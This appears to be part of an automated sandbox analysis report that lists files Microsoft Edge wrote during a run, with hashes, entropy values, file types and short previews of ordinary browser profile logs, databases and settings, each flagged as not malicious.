C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.225839550114004
Encrypted:	false
SSDEEP:	6:HEzFXQ+q2P923oH+TcwtzjqEKj0QMxIFUt8YEzFsgZmw+YEzFVuhSQVkwO923oHK:kTv4YebvqBZFUt8/L/+/S5LYebvqBaJ
MD5:	972EEA987B75A65E3E2CF50870017310
SHA1:	BB04AD5CF4A8469B9517C4D8CD1C882EC9AA7F87
SHA-256:	FF8862F9A75573E5FA5CFA016D696969314E1FEEAABADA34F9B3A83D46974371
SHA-512:	C508BB96B562213A391BD59103EBF0484B7ADFB5DB451C183FCE7678B8F127926D17DEB041B5E8468DAAF54DD0521DFC54BA4842A276B25FFEA2AE57B94578E3
Malicious:	false
Preview:	2024/11/21-18:11:57.039 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-18:11:57.043 1d08 Recovering log #3.2024/11/21-18:11:57.048 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.225839550114004
Encrypted:	false
SSDEEP:	6:HEzFXQ+q2P923oH+TcwtzjqEKj0QMxIFUt8YEzFsgZmw+YEzFVuhSQVkwO923oHK:kTv4YebvqBZFUt8/L/+/S5LYebvqBaJ
MD5:	972EEA987B75A65E3E2CF50870017310
SHA1:	BB04AD5CF4A8469B9517C4D8CD1C882EC9AA7F87
SHA-256:	FF8862F9A75573E5FA5CFA016D696969314E1FEEAABADA34F9B3A83D46974371
SHA-512:	C508BB96B562213A391BD59103EBF0484B7ADFB5DB451C183FCE7678B8F127926D17DEB041B5E8468DAAF54DD0521DFC54BA4842A276B25FFEA2AE57B94578E3
Malicious:	false
Preview:	2024/11/21-18:11:57.039 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-18:11:57.043 1d08 Recovering log #3.2024/11/21-18:11:57.048 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2142335742473325
Encrypted:	false
SSDEEP:	6:HEzFbAq2P923oH+TcwtpIFUt8YEzF4XZmw+YEzF4FkwO923oH+Tcwta/WLJ:klAv4YebmFUt8/S/+/e5LYebaUJ
MD5:	110CFA3C73F5A8D3A896C6178ECC8F2C
SHA1:	5123C03BE011256FF9313057ACE82156FAE5B866
SHA-256:	1617C669618F99FC81639CAEE0BA986FDF93302886B7F0FA517CD89E18A0B6BA
SHA-512:	9F3A96F0CA13FC9B12BA4B95DECFA01A79AABCDDB9A46A4536165318555C8C95CA748AF63733C6EEDE57AD0E7D94A97695110AC18BD43972B86802A7A3DB42D9
Malicious:	false
Preview:	2024/11/21-18:11:39.595 18d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-18:11:39.596 18d0 Recovering log #3.2024/11/21-18:11:39.596 18d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2142335742473325
Encrypted:	false
SSDEEP:	6:HEzFbAq2P923oH+TcwtpIFUt8YEzF4XZmw+YEzF4FkwO923oH+Tcwta/WLJ:klAv4YebmFUt8/S/+/e5LYebaUJ
MD5:	110CFA3C73F5A8D3A896C6178ECC8F2C
SHA1:	5123C03BE011256FF9313057ACE82156FAE5B866
SHA-256:	1617C669618F99FC81639CAEE0BA986FDF93302886B7F0FA517CD89E18A0B6BA
SHA-512:	9F3A96F0CA13FC9B12BA4B95DECFA01A79AABCDDB9A46A4536165318555C8C95CA748AF63733C6EEDE57AD0E7D94A97695110AC18BD43972B86802A7A3DB42D9
Malicious:	false
Preview:	2024/11/21-18:11:39.595 18d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-18:11:39.596 18d0 Recovering log #3.2024/11/21-18:11:39.596 18d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265174104134401
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMTSAELyKOMq+8yC8F/YfU5m+OlTLVump:Bq+n0JT9ELyKOMq+8y9/Owe
MD5:	60B644C4EB8360DB6E017D15D06B58B2
SHA1:	8200467A28263A0CAD4A423D96FF0A6D2E31D1FF
SHA-256:	B6460735E084A2185E2CEA2849AB4BFDD7EEE1B4E5A02AF87871282ECA33DDE1
SHA-512:	0D5339ED01D3E80CA0872A53F10B41EE2140550DBB9D0EA3B8FA48763880224079CF9CBB734A9288B1B07BBC9558D8488711B0505C6000697F791091F4D5D7E3
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4664657455027723
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0EO4V:v7doKsKuKZKlZNmu46yjx0K
MD5:	0D840AC917A97DD2AA2638EB04B8E193
SHA1:	338BEC0646D53750B91644DC94173AB43ADB7D8A
SHA-256:	9A2939EFC8A0369104BD2C4965D7A3319AEC25B699073C6D76F5F2612EC82707
SHA-512:	A9C59219CA7FE550B042ADB108FA5DD7694A57F95A278656EE5E1FE3D98835126034C5AEAE858B623E07CA1007103B26FA6156D2FC866C53A1062DA5EDDBC089
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a06d0f63-9fb6-4d7e-b582-b46920b9b924.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565994570339524
Encrypted:	false
SSDEEP:	768:Ck3my5WP37fmp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqPGy5rw7pltuz:Ck3my5WP37fmpu1janeyKjts
MD5:	068A42D70E76FD55A1EFC66984D1E98A
SHA1:	E0F5411D88120A6C41DF173C084E7C6534155852
SHA-256:	DC9AFF1DA80B6D37DB22FC5B1F2307EA5B4378203F296B6578799257E58284D6
SHA-512:	E661D31B6901038CFDF306E2C21D118F93C2EFD04A351D34A70A60776B3DB0EB77B69B1995D8A24B4A9848AC91F95C4C704C834393364AB60BAD9CA54D88C3D6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376704299426981","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376704299426981","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bac1f521-58d0-400c-b334-a6c223905a5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116393911333424
Encrypted:	false
SSDEEP:	192:stFkdpbsrqQsZihUkTPs8UbV+FlKQA66WYaFIMYcPiVYJ:stFQbs2QfhCbGAQx6WYaTYX6
MD5:	265E479074EA2D53BD441BD339D3311D
SHA1:	013971D8B8FF0566B50269EF22D6654B64A2C0AF
SHA-256:	5C47371066AE3617A708036E7AD608F7FBE82600F4DBD7374956B08260C84F6B
SHA-512:	1CFE35E50B6DC9D3CA48F33EBDB3ADE188E99E7E2943DC6BB3C7587B5DDB40FCDA7BA07BA8BA05F9E3D9BD3E94E96A0AE3CEDD2701789223D8ADF0984FEC08D5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10230925871513274
Encrypted:	false
SSDEEP:	12:+2A+2AzspEjVl/PnnnnnnnnnnnvoQ/Eou:+2A+2AMoPnnnnnnnnnnnv1j
MD5:	08A11B04774779FFE2ABAFAC8758FEF0
SHA1:	E6FF43A4D503C7CC1492E2552A78C300CA23950E
SHA-256:	A66F540BEAE330EB8C4624E8B35B11A0093B455AF77B108FEF8419502756E781
SHA-512:	18441BE0575C5C295C1F382AF4989FA4F85E7B7EF4B5BF6882C587564E828014976ABED54EF57A8436FE99A8F3AA38ECB396F063027E19BFB9F3602AB59C9D51
Malicious:	false
Preview:	..-.............M.......(...u..l.4..}..]..0.6....-.............M.......(...u..l.4..}..]..0.6..........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8885702345677793
Encrypted:	false
SSDEEP:	384:G2fNc/yNFPFN4SKNqn5YNnRqYNBLXYNYiwYNa7cYNp2fYNzDw1JYNl4v8EyKyDdw:3cEFf4hqAnPBqYWazpXzvlRI
MD5:	B8E88C9C89C72BD50F9CECEE52FA6CB8
SHA1:	81B9F901E72337CC2D4EF2721233FFFCB4134692
SHA-256:	F06616181DDF587519FA0E3EB3D7DE442CB967A7CDAEE7DC4741C34BC89E074A
SHA-512:	155C1AE68B0147C5D7E5892EE70E402EE77E27A3E8C0D385279A6DDB4FE383EF827342B327E053939B45C2108707A161DDFF1FC3BFC12A3681123BDD64179367
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5578991775509703
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuu1MllBJPm8h:iDLkl/F
MD5:	76A50A89D4C9C593F2AC893C419F145D
SHA1:	0CB0BD22BC3BF5EAEBFE88B441CA3F8716B4BBE1
SHA-256:	488AE0BAE794DD645A70667EE7E6BA98F49400B51B509E146910ED847D063062
SHA-512:	ECC73D4910911150B98AF71D84803F4B4F0F767004837E03E832A8081B0EF736AC5AAC7954843276D06F55FB04AD8E4351A4FDA2973FD799D40BF9D54CDB9CB2
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....PO2.....PO2..........V.e................V.e................"...0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1358406845633064
Encrypted:	false
SSDEEP:	6:HEzFK5Mq2P923oH+TcwtfrK+IFUt8YEzFK59Zmw+YEzFK5PkwO923oH+TcwtfrUQ:kuMv4Yeb23FUt8/u9/+/uP5LYeb3J
MD5:	8ACAED634885C479EE0254E443EE4E0E
SHA1:	2F539B733AA0BC62BE3C2D27EC4C2181E10C2687
SHA-256:	229970D473105C167FFA96A69FA9C95E50225CEEF66923C9D80EEA81644C94DF
SHA-512:	77EC40B1EF00E0F3B3E5B52E5D60E1BE04CBF694958AD6BB129E7922845BC643417EDC43A09926DB6D8C35C9FE75A73D08FF3408F4C46AC33A0C24E328DC2809
Malicious:	false
Preview:	2024/11/21-18:11:40.300 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/21-18:11:40.300 8f4 Recovering log #3.2024/11/21-18:11:40.300 8f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1358406845633064
Encrypted:	false
SSDEEP:	6:HEzFK5Mq2P923oH+TcwtfrK+IFUt8YEzFK59Zmw+YEzFK5PkwO923oH+TcwtfrUQ:kuMv4Yeb23FUt8/u9/+/uP5LYeb3J
MD5:	8ACAED634885C479EE0254E443EE4E0E
SHA1:	2F539B733AA0BC62BE3C2D27EC4C2181E10C2687
SHA-256:	229970D473105C167FFA96A69FA9C95E50225CEEF66923C9D80EEA81644C94DF
SHA-512:	77EC40B1EF00E0F3B3E5B52E5D60E1BE04CBF694958AD6BB129E7922845BC643417EDC43A09926DB6D8C35C9FE75A73D08FF3408F4C46AC33A0C24E328DC2809
Malicious:	false
Preview:	2024/11/21-18:11:40.300 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/21-18:11:40.300 8f4 Recovering log #3.2024/11/21-18:11:40.300 8f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.163738181703464
Encrypted:	false
SSDEEP:	6:HEzFfQIq2P923oH+TcwtfrzAdIFUt8YEzFfRNXZmw+YEzFfunDkwO923oH+TcwtS:kLv4Yeb9FUt8/rNX/+/0D5LYeb2J
MD5:	75A937A09576B383FA15D194F2625C91
SHA1:	2A0F09C8AED0A30FA8B470F90A998D6DE82E47C8
SHA-256:	DBBEBD95ADF7380F082A5820002CAAE1571B0DB20B3DB32A8F18C5EE0CD76497
SHA-512:	15DB22470BB4CE718C2B34617732595FBEA9FEA99EE7D1E25E1FD352246895F9B0E1E783759B6B10E25E69D1214A94B645B67E49A833C3C65D2B01CB14EEA705
Malicious:	false
Preview:	2024/11/21-18:11:40.223 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/21-18:11:40.277 8f4 Recovering log #3.2024/11/21-18:11:40.278 8f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.163738181703464
Encrypted:	false
SSDEEP:	6:HEzFfQIq2P923oH+TcwtfrzAdIFUt8YEzFfRNXZmw+YEzFfunDkwO923oH+TcwtS:kLv4Yeb9FUt8/rNX/+/0D5LYeb2J
MD5:	75A937A09576B383FA15D194F2625C91
SHA1:	2A0F09C8AED0A30FA8B470F90A998D6DE82E47C8
SHA-256:	DBBEBD95ADF7380F082A5820002CAAE1571B0DB20B3DB32A8F18C5EE0CD76497
SHA-512:	15DB22470BB4CE718C2B34617732595FBEA9FEA99EE7D1E25E1FD352246895F9B0E1E783759B6B10E25E69D1214A94B645B67E49A833C3C65D2B01CB14EEA705
Malicious:	false
Preview:	2024/11/21-18:11:40.223 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/21-18:11:40.277 8f4 Recovering log #3.2024/11/21-18:11:40.278 8f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772762823228
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEe6mtbz8hu3VlXr4CRo1
MD5:	1B67838A4C4CDC56F09C2BFA8B747E05
SHA1:	A7233126A86FBDDC5D823198FED9E06C7A317ABA
SHA-256:	FC0E8D9230E259EBA204F62E764D77E97357FFA6052A5BCB70294437C1843D30
